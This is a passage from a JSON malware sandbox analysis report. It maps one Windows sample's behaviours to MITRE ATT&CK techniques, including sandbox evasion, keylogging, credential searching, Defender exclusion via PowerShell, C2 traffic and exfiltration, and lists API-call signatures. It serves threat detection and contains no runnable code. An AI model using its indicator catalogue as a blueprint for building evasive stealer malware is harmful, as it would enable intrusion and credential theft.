Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Spawns Windows crash diagnostic and reporting process"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"PE file contains zero-size sections"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"},{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Contains ability to detect virtual environment"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Clear Persistence","attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Impair Defenses","attack_id":"T1562","attack_id_wiki":"https://attack.mitre.org/techniques/T1562","identifiers":[{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Credential Access","technique":"Unsecured Credentials","attack_id":"T1552","attack_id_wiki":"https://attack.mitre.org/techniques/T1552","identifiers":[{"type":"informative","value":"Contains ability to search for patterns of text (possibly credentials) in files"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Uses REG.EXE to query registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Able to retrieve the valid logical drives on the computer"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Touches files in the Windows directory"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries volatile registry keys"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an APIs used to retrieve geographical location information"},{"type":"malicious","value":"Reads the system/video BIOS version"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the cryptographic machine GUID"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an APIs used to retrieve process information"},{"type":"informative","value":"Spawns new processes that are not known child processes"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate logon sessions (API string)"},{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Contains ability to retrieve system network configuration"},{"type":"informative","value":"Able to retrieve NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"Device Driver Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"Local Groups","attack_id":"T1069.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve local groups information"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Collection","technique":"Remote Email Collection","attack_id":"T1114.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/002","identifiers":[{"type":"informative","value":"Found PowerShell command strings related to Exchange mailboxes"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"malicious","value":"Making HTTPS connections using insecure TLS/SSL version"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"malicious","value":"Found more than one unique user-agent"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Tries to GET non-existent files from a webserver"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"malicious","value":"GETs executable from a webserver (HTTPS)"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Contains reference to Sysinternals URL"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"$28","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to remove a directory","description":"\"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\IXP000.TMP (UID: 00000000-00000860)\n \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\IXP000.TMP\\ (UID: 00000000-00000860)\n \"F2a97.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\IXP000.TMP (UID: 00000000-00007396)\n \"F2a97.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\IXP001.TMP (UID: 00000000-00007396)\n \"F2a97.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\IXP001.TMP\\ (UID: 00000000-00007396)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"34.bat\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"OpenProcessToken.3\" (Indicator: \"OpenProcessToken\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"SetThreadToken\" (Indicator: \"SetThreadToken\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"elWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpWDOScan.cdxml-Help.xml}Microsoft.PowerShell.Core\\Export-ModuleMember -Function 'Start-MpWDOScan' -Alias '*'\" (Indicator: \"Export-ModuleMember\"; File: 